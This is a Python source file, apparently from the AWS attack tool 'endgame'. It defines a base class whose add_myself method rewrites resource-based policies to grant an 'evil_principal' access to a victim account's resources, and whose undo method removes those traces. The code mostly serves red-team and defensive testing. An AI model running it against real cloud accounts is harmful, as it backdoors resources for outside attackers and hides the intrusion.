134 lines
5.3 KiB
Python
134 lines
5.3 KiB
Python
from abc import ABCMeta, abstractmethod
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import json
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import logging
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import copy
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import boto3
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import botocore
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from botocore.exceptions import ClientError
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from endgame.shared.response_message import ResponseMessage
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from endgame.shared.list_resources_response import ListResourcesResponse
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from endgame.shared.response_message import ResponseGetRbp
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logger = logging.getLogger(__name__)
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class ResourceType(object):
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__meta_class__ = ABCMeta
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def __init__(
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self,
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name: str,
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resource_type: str,
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service: str,
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region: str,
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client: boto3.Session.client,
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current_account_id: str,
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override_action: str = None,
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include_resource_block: bool = True,
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override_resource_block: str = None,
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override_account_id_instead_of_principal: bool = False
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):
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self.name = name
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self.resource_type = resource_type
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self.client = client
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self.current_account_id = current_account_id
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self.service = service
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self.region = region
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self.include_resource_block = include_resource_block # Override for IAM
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self.override_action = override_action # Override for IAM
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self.override_resource_block = override_resource_block # Override for EFS
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self.override_account_id_instead_of_principal = override_account_id_instead_of_principal # Override for logs, sns, sqs, and lambda
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self.policy_document = self._get_rbp().policy_document
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# Store an original copy of the policy so we can compare it later.
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self.original_policy = copy.deepcopy(json.loads(json.dumps(self.policy_document.original_policy)))
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def __str__(self):
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return '%s' % (json.dumps(json.loads(self.policy_document.__str__())))
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@abstractmethod
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def _get_rbp(self) -> ResponseGetRbp:
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raise NotImplementedError("Must override _get_rbp")
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@property
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@abstractmethod
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def arn(self) -> str:
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raise NotImplementedError("Must override arn")
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@abstractmethod
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def set_rbp(self, evil_policy: dict) -> ResponseMessage:
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raise NotImplementedError("Must override set_rbp")
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def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:
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"""Add your rogue principal to the AWS resource"""
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logger.debug(f"Adding {evil_principal} to {self.arn}")
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evil_policy = self.policy_document.policy_plus_evil_principal(
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victim_account_id=self.current_account_id,
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evil_principal=evil_principal,
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resource_arn=self.arn
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)
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if not dry_run:
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set_rbp_response = self.set_rbp(evil_policy=evil_policy)
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operation = "ADD_MYSELF"
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message = set_rbp_response.message
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success = set_rbp_response.success
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else:
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# new_policy = evil_policy
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operation = "DRY_RUN_ADD_MYSELF"
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message = "DRY_RUN_ADD_MYSELF"
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try:
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tmp = self._get_rbp()
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success = tmp.success
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except botocore.exceptions.ClientError as error:
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message = str(error)
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success = False
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response_message = ResponseMessage(message=message, operation=operation, success=success,
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evil_principal=evil_principal, victim_resource_arn=self.arn,
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original_policy=self.original_policy, updated_policy=evil_policy,
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resource_type=self.resource_type, resource_name=self.name,
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service=self.service)
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return response_message
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def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:
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"""Remove all traces"""
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logger.debug(f"Removing {evil_principal} from {self.arn}")
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policy_stripped = self.policy_document.policy_minus_evil_principal(
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victim_account_id=self.current_account_id,
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evil_principal=evil_principal,
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resource_arn=self.arn
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)
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if not dry_run:
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operation = "UNDO"
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set_rbp_response = self.set_rbp(evil_policy=policy_stripped)
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message = set_rbp_response.message
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success = set_rbp_response.success
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else:
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operation = "DRY_RUN_UNDO"
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message = "DRY_RUN_UNDO"
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success = True
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response_message = ResponseMessage(message=message, operation=operation, success=success,
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evil_principal=evil_principal, victim_resource_arn=self.arn,
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original_policy=self.original_policy, updated_policy=policy_stripped,
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resource_type=self.resource_type, resource_name=self.name,
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service=self.service)
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return response_message
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class ResourceTypes(object):
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__meta_class__ = ABCMeta
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def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):
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self.client = client
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self.current_account_id = current_account_id
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self.region = region
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def __str__(self):
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return '%s' % (json.dumps(self.resources.arn))
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@property
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@abstractmethod
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def resources(self) -> [ListResourcesResponse]:
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raise NotImplementedError("Must override property 'resources'")
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